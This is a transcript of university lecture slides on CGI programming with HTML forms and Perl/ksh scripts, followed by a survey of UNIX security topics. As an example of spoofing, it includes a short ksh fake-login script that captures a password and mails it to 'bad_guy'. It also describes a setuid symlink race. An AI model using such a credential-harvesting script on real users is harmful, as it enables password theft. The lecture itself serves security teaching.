CGI Programming Part II UNIX Security

Slides:



Advertisements
Similar presentations
ITIS 1210 Introduction to Web-Based Information Systems Chapter 44 How Firewalls Work How Firewalls Work.
Advertisements

1 Supplement III: Security Controls What security services should network systems provide? Confidentiality Access Control Integrity Non-repudiation Authentication.
1 Defining System Security Policies. 2 Module - Defining System Security Policies ♦ Overview An important aspect of Network management is to protect your.
FIREWALLS. What is a Firewall? A firewall is hardware or software (or a combination of hardware and software) that monitors the transmission of packets.
1 Topic 1 – Lesson 3 Network Attacks Summary. 2 Questions ► Compare passive attacks and active attacks ► How do packet sniffers work? How to mitigate?
Lecture 11 UNIX Security. Important Aspects of Security Authentication: Make sure someone is who they claim to be Authorization: Make sure people can’t.
Hacking Presented By :KUMAR ANAND SINGH ,ETC/2008.
Web Server Administration TEC 236 Securing the Web Environment.
Lecture 7 UNIX Security. Important Aspects of Security Authentication: Make sure someone is who they claim to be Authorization: Make sure people can’t.
19.1 Silberschatz, Galvin and Gagne ©2003 Operating System Concepts with Java Chapter 19: Security The Security Problem Authentication Program Threats.
Security Presented by : Qing Ma. Introduction Security overview security threats password security, encryption and network security as specific.
Client/Server Computing Model of computing in which very powerful personal computers (clients) are connected in a network with one or more server computers.
Chapter 12 Network Security.
K. Salah 1 Chapter 31 Security in the Internet. K. Salah 2 Figure 31.5 Position of TLS Transport Layer Security (TLS) was designed to provide security.
Secure communications Week 10 – Lecture 2. To summarise yesterday Security is a system issue Technology and security specialists are part of the system.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
Privacy - not readable Permanent - not alterable (can't edit, delete) Reliable - (changes detectable) But the data must be accessible to persons authorized.
2000 Copyrights, Danielle S. Lahmani UNIX Tools G , Fall 2000 Danielle S. Lahmani Lecture 11.
How Clients and Servers Work Together. Objectives Learn about the interaction of clients and servers Explore the features and functions of Web servers.
Web server security Dr Jim Briggs WEBP security1.
1 Security and Software Engineering Steven M. Bellovin AT&T Labs – Research
Internet Relay Chat Chandrea Dungy Derek Garrett #29.
Chapter 6: Hostile Code Guide to Computer Network Security.
1 Advanced Application and Web Filtering. 2 Common security attacks Finding a way into the network Exploiting software bugs, buffer overflows Denial of.
CS426Fall 2010/Lecture 361 Computer Security CS 426 Lecture 36 Perimeter Defense and Firewalls.
1 Computer & Web Security  Security Problems in Computer Use  Privacy-Protecting Techniques  Privacy-Protecting Technologies: cryptography, digital.
Intranet, Extranet, Firewall. Intranet and Extranet.
SYSTEM ADMINISTRATION Chapter 13 Security Protocols.
CHAPTER 2 PCs on the Internet Suraya Alias. The TCP/IP Suite of Protocols Internet applications – client/server applications The client requested data.
Web Server Administration Chapter 10 Securing the Web Environment.
FTP (File Transfer Protocol) & Telnet
Csci5233 Computer Security1 Bishop: Chapter 27 System Security.
Implementing ISA Server Publishing. Introduction What Are Web Publishing Rules? ISA Server uses Web publishing rules to make Web sites on protected networks.
Chapter 13 – Network Security
JavaScript, Fourth Edition
CHAPTER 11 Spoofing Attack. INTRODUCTION Definition Spoofing is the act of using one machine in the network communication to impersonate another. The.
FIREWALLS Vivek Srinivasan. Contents Introduction Need for firewalls Different types of firewalls Conclusion.
Protecting Internet Communications: Encryption  Encryption: Process of transforming plain text or data into cipher text that cannot be read by anyone.
CGI Security COEN 351. CGI Security Security holes are exploited by user input. We need to check user input against Buffer overflows etc. that cause a.
Session 7 LBSC 690 Information Technology Security.
1 CHAPTER 2 LAWS OF SECURITY. 2 What Are the Laws of Security Client side security doesn’t work Client side security doesn’t work You can’t exchange encryption.
Types of Electronic Infection
All Input is Evil (Part 1) Introduction Will not cover everything Healthy level of paranoia Use my DVD Swap Shop application (week 2)
1 Topic 2: Lesson 3 Intro to Firewalls Summary. 2 Basic questions What is a firewall? What is a firewall? What can a firewall do? What can a firewall.
1 Chapter Overview Password Protection Security Models Firewalls Security Protocols.
Network Security. 2 SECURITY REQUIREMENTS Privacy (Confidentiality) Data only be accessible by authorized parties Authenticity A host or service be able.
CIS 450 – Network Security Chapter 14 – Specific Exploits for UNIX.
CHAPTER 9 Sniffing.
CIS 450 – Network Security Chapter 4 - Spoofing. Definition - To fool. In networking, the term is used to describe a variety of ways in which hardware.
Security CS Introduction to Operating Systems.
TCP/IP (Transmission Control Protocol / Internet Protocol)
COEN 350: Network Security Authentication. Between human and machine Between machine and machine.
1 Network Firewalls CSCI Web Security Spring 2003 Presented By Yasir Zahur.
Chapter 12: How Private are Web Interactions?. Why we care? How much of your personal info was released to the Internet each time you view a Web page?
INFORMATION SECURITY MANAGEMENT P ROTECTION M ECHANISMS - C RYPTOGRAPHY.
© Copyright 2009 SSLPost 01. © Copyright 2009 SSLPost 02 a recipient is sent an encrypted that contains data specific to that recipient the data.
Invitation to Computer Science 5 th Edition Chapter 8 Information Security.
SECURE SHELL MONIKA GUPTA COT OUTLINE What is SSH ? What is SSH ? History History Functions of Secure Shell ? Functions of Secure Shell ? Elements.
Secure Transactions Chapter 17. The user's machine No control over security of user's machine –Might be in very insecure: library, school, &c. Users disable.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
SSH. 2 SSH – Secure Shell SSH is a cryptographic protocol – Implemented in software originally for remote login applications – One most popular software.
1 Network Security. 2 Security Services Confidentiality: protection of any information from being exposed to unintended entities. –Information content.
Chapter 40 Internet Security.
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Network Security (the Internet Security)
Topic 5: Communication and the Internet
CGI Programming Part II UNIX Security
Crisis and Aftermath Morris worm.
Test 3 review FTP & Cybersecurity
Presentation transcript:

CGI Programming Part II UNIX Security Lecture 11 CGI Programming Part II UNIX Security

Forms HTML forms are used to collect user input Data sent via HTTP request Server launches CGI script to process data <form method=POST action=“http://www.cs.nyu.edu/~unixtool/cgi-bin/search.cgi”> Enter your query: <input type=text name=Search> <input type=submit> </form>

Input Types Text Field Radio Buttons Checkboxes Text Area <input type=text name=zipcode> Radio Buttons <input type=radio name=size value=“S”> Small <input type=radio name=size value=“M”> Medium <input type=radio name=size value=“L”> Large Checkboxes <input type=checkbox name=extras value=“lettuce”> Lettuce <input type=checkbox name=extras value=“tomato”> Tomato Text Area <textarea name=address cols=50 rows=4> … </textarea>

Submit Button Submits the form for processing by the CGI script specified in the form tag <input type=submit value=“Submit Order”>

HTTP Methods Determine how form data are sent to web server Two methods: GET Form variables stored in URL POST Form variables sent as content of HTTP request

Encoding Form Values Browser sends form variables as name-value pairs name1=value1&name2=value2&name3=value3 Names are defined in form elements <input type=text name=ssn maxlength=9> Special characters are replaced with %## (2-digit hex number), spaces replaced with + e.g. “11/8 Wed” is encoded as “11%2F8+Wed”

HTTP GET/POST examples GET /cgi-bin/myscript.pl?name=Bill%20Gates& company=Microsoft HTTP/1.1 HOST: www.cs.nyu.edu POST: POST /cgi-bin/myscript.pl HTTP/1.1 …other headers… name=Bill%20Gates&company=Microsoft

GET or POST? GET method is useful for Retrieving information, e.g. from a database Embedding data in URL without form element POST method should be used for forms with Many fields or long fields Sensitive information Data for updating database GET requests may be cached by clients browsers or proxies, but not POST requests

Parsing Form Input Method stored in HTTP_METHOD GET: Data encoded into QUERY_STRING POST: Data in standard input (from body of request) Most scripts parse input into an associative array You can parse it yourself Or use available libraries (better)

CGI Script: Example

Part 1: HTML Form <html> <center> <H1>Anonymous Comment Submission</H1> </center> Please enter your comment below which will be sent anonymously to <tt>kornj@cs.nyu.edu</tt>. If you want to be extra cautious, access this page through <a href="http://www.anonymizer.com">Anonymizer</a>. <p> <form action=cgi-bin/comment.cgi method=post> <textarea name=comment rows=20 cols=80> </textarea> <input type=submit value="Submit Comment"> </form> </html>

Part 2: CGI Script (ksh) #!/home/unixtool/bin/ksh . cgi-lib.ksh # Read special functions to help parse ReadParse PrintHeader print -r -- "${Cgi.comment}" | /bin/mailx -s "COMMENT" kornj print "<H2>You submitted the comment</H2>" print "<pre>" print -r -- "${Cgi.comment}" print "</pre>"

Perl CGI Module Interface for parsing and interpreting query strings passed to CGI scripts Methods for creating generating HTML Methods to handle errors in CGI scripts Two interfaces: procedural and OO Ask for the procedural interface: use CGI qw(:standard);

A Perl CGI Script #!/usr/bin/perl -w use strict; use CGI qw(:standard); my $bday = param("birthday"); # Print headers (text/html is the default) print header(-type => 'text/html'); # Print <html>, <head>, <title>, <body> tags etc. print start_html(“Birthday”); # Your HTML body print "Your birthday is $bday.\n"; # Print </body></html> print end_html();

Debugging Perl CGI Scripts Debugging CGI script is tricky - error messages don’t always come up on your browser Check if the script compiles perl -wc cgiScript Run script with test data perl -w cgiScript prod=“MacBook” price=“1800” Content-Type: text/html <html> … </html>

How to get your script run This can vary by web server type http://www.cims.nyu.edu/systems/resources/webhosting/index.html Typically, you give your script a name that ends with .cgi and/or put it in a special directory (e.g. cgi-bin) Give the script execute permission Specify the location of that script in the URL

CGI Security Risks Sometimes CGI scripts run as owner of the scripts Never trust user input - sanity-check everything If a shell command contains user input, run without shell escapes Always encode sensitive information, e.g. passwords Also use HTTPS Clean up - don’t leave sensitive data around

CGI Benefits Simple Language independent UNIX tools are good for this because Work well with text Integrate programs well Easy to prototype No compilation (CGI scripts)

UNIX Security

Important Aspects of Security Authentication: Make sure someone is who they claim to be Authorization: Make sure people can’t do things they’re not supposed to do Policy: Make sure data is accessible to only those authorized to see it Integrity: Make sure data is protected against corruption or loss

Head-in-the-Sand Approach Disable all connections to/from the outside Only accessible from direct-wired terminal Machine and terminal in shielded room Guard at the door Secure, but useless!

Types of Security Risks Physical Worms and Trojan horses Social engineering Snooping / Sniffing Spoofing Denial of Service Covert channels

Physical Security Easiest attack: Someone who didn’t log off or lock their screen Breaking into Prof. Lee’s office Looking over someone’s shoulder Steal passwords Advanced spying techniques

Worms and Trojan Horses Trojan Horse: A program that compromises security by pretending to be an innocuous program. Virus: Malicious code that modifies to other non-malicious programs Worm: Malicious code that spreads by itself from one machine to another

Social Engineering (aka lying) Maybe the easiest way to breach security Phony phone calls Wandering hallways Hard to avoid: Educate people with privileged information Limit information available

Snooping By listening in, you can pick up all kinds of info: passwords, etc. This is incredibly easy to do: TCP/IP is unencrypted, passes through lots of machines Packet sniffers are easy to obtain Back Orifice

Spoofing An attacker creates a misleading context to trick the victim Example: Fake ATM machines Lying about origination IP address and user id in rsh/rcp/rlogin commands Tricks the .rhosts file Spoofed web pages / email Take advantage of mistyped pages Pretend to be “official PayPal pages” requiring login and password

UNIX Spoofing Example Fake login screen: #!/bin/ksh print –n “login: ” login: jlk Password: Login incorrect Last login ... #!/bin/ksh print –n “login: ” read login print –n “Password:” stty –echo read passwd stty +echo print “$login:$password” | mail bad_guy print “\nLogin incorrect” exit

Denial Of Service Not to gain access, but to deny access for legitimate users malice, revenge, personal gain Example: send echo request with forged source address Example: fill up logs Example: SYN+ACK, start a TCP connection but never acknowledge. Server keeps resources around until timeout (3 minutes) DDOS: Distributed Denial of Service Attacks

Covert Channels A covert channel is some way of getting information other than direct reads and writes. Example: Sun’s Java Sandbox Exploits DNS: yes: lookup IP for yes.hacker.org no: lookup IP for no.hacker.org

Brute Force Hackers “war-dial”: try out exhaustive lists of IP addresses, ports People forget to set permissions on files Example: leaving a file readable Who’s that bored to be looking at my files? Answer: a shell script or cron job find / -print | xargs egrep ‘abcd’ /dev/null

Exploit Known Problems Some people leave default passwords intact Example: Routers Security bugs are made public after patches are available, but not everyone patches Web searches

Security Is Tricky Password checked in clear text: This subtle bug appeared on an old system, which contained a system call for authentication: auth(char *user, char *password) Password checked in clear text: The trick: Use segfaults as covert channel p a s s w o r d p x bad address p a bad address Returns failure Crashes

Orange Book Security Government has official well-specified levels of security called “Orange Book Security” C-2: Minimal Security A-1: Highest Security Not yet implemented in any system Involves elaborate logging and monitoring Higher levels devote more CPU time to this than anything else OpenBSD provides level C2 security

UNIX Passwords Passwords are encrypted with a one-way-function: f(password) = encrypted-password No inverse Stored in /etc/password (or /etc/shadow) Uses a salt: f(salt, password) = encrypted-password Salt is first two bytes of encrypted password s9dl30c3LPqV Harder to grep for common passwords

How to Crack Passwords Brute force works well Common passwords Combinations of name Go through dictionary Try every key

Avoiding Password Cracking Have the passwd program: Try to crack the password Enforce minimum lengths Use /etc/shadow Occasionally run password crackers Expiration dates? Controversial

Scripting Security Tips Setuid/setgid scripts are often useful for writing system administrative tasks. Make scripts as small as possible Be very careful in scripting Never put . or relative directories in PATH Do not use eval in your script Be careful about creating temporary files ksh: avoid file name expansion (set –o noglob) and word splitting (IFS='')

A Subtle Scripting Security Flaw #! works by invoking the first line of the script with first argument being the name of the script The danger: I make a symbolic link to a setuid shell script, and in between the invocation of the script and the execution of the #! program, I switch the contents. link #!/bin/sh suid script time setuid malicious contents /bin/sh link

CGI Attacks Do not trust anything you receive in a form Always check for special characters Don’t make assumptions about length Be careful constructing file names Input could have references to other directories Check for errors along the way

Encryption Encryption allows data to be protected by converting it to a form that cannot be read without proper authentication.

The crypt command Works similar to the German Enigma f(clear) = cypher f(cypher) = clear crypt command works with stdin/stdout EG: crypt opensesame < mail > mail.enc Some UNIX editors can handle crypted files vi –x mail.enc Not secure cbw: Crypt breaker’s workbench

Public Key Encryption Regular encryption (e.g., crypt, DES) : Encryption function E(key, plaintext) Decryption function D(key, cyphertext) D(key, E(key, plaintext)) = plaintext key is private Public key: public_key = f(key) E(public_key, plaintext) = E(key, plaintext) BUT D(public_key, cyphertext) != D(key, cyphertext) public_key made public, key kept private

Public Key Algorithms RSA PGP System by Rivest, Shamir, Adleman Security dependent on difficulty of factoring large numbers PGP Pretty Good Privacy Similar to RSA, but also mixes in other approaches Gets around RSA patent and is free

How many bits do you need? Always theoretically possible to simply try every key Key Size (bits) Time (1us/test) Time (1us/106test) 32 35.8 mins 2.15 msec 40 6.4 days 550 msec 56 1140 years 10.0 hours 64 ~500000 years 107 days 128 5 x 1024years 5 x 1018 years

Signatures The dual of public key encryption D(public_key, plaintext) = D(key, plaintext) BUT E(public_key, cyphertext) != E(key, cyphertext) Verify software is not hacked Verify contents of email

Network Security

Problems With Sockets Easy to snoop Very dangerous for a telnet session, since password is typed in plaintext client server

The "r" commands Commands rsh, rcp, rlogin introduced in Berkeley UNIX for network authentication Avoid sending passwords over network Verify user by checking if: Originating machine listed in /etc/hosts.equiv Originating port privileged User and machine listed in $HOME/.rhosts Problems: Files with wrong permissions Security problems propagate through network

Secure Sockets SSL = Secure Sockets Layer Behave just like regular TCP/IP sockets When a connection is made: Server sends public key to client Client sends public key to server Each side uses private key to decrypt incoming traffic, and the other’s public key to encrypt outgoing traffic Certificates Assure that a public key belongs to a who they claim

Secure Sockets Examples ssh: Secure shell Opens a telnet session to a secure socket Also includes scp and sftp, replacements for rcp and ftp (somtimes r* commands replaced) https: Secure http Used on web for credit cards, etc.

The Internet Worm By Robert Morris Jr., 1988 Exploited a notorious C bug in programs sendmail, finger, rsh, etc: Buffer overflow gets is bad So is scanf

Kerberos System for clients to authenticate over insecure networks ssl problematic because: Private keys can be stolen Passphrases not transitive across hosts Not centralized Uses secret key encryption Concept of tickets issued by authentication server

Firewalls: The Theory The larger the program, the more buggy (therefore less secure) it is. If you do not run a program, it is secure. Therefore, run as few programs as possible, and only small ones. How do you do this? Isolate them

Firewalls A barrier to protect resources inside a network from the outside A firewall examines each network packet to determine whether to forward it toward its destination or not. Can be hardware or software Also includes a proxy server: makes network requests on behalf of users inside the firewall. Firewall internet office net

VPNs Secure the transmission of IP datagrams through uncontrolled an untrusted networks. Encrypt TCP/IP traffic at very low level Machine using VPN appears to be in local net of host machine Protocols IPsec L2TP PPTP MPLS

Thwarting attackers Use log files (/var/adm) Check backups Look for statistical anomalies Rules to detect suspicious behavior Check backups Packet filtering Watch hackers (Berford) Think like the hacker Join hacker mailing lists, web sites Try to break into your own system Are hacking tools good or bad?

Security Through Obscurity An approach to security: Don't publish anything Purposely make complex Does not work well Hard to debug and analyze Flaws will be found, but more likely by hackers

Security Needs Trust Ken Thompson Turing Award Speech “Reflections on Trust” How do you know if a program is secure? Look at the source code How do you know if the compiler is secure? Look at assembly code How do you know assembly is secure? ... until lowest levels of hardware if (recognize-special-code) compile-hacked(); else compile-normal();

Further Reading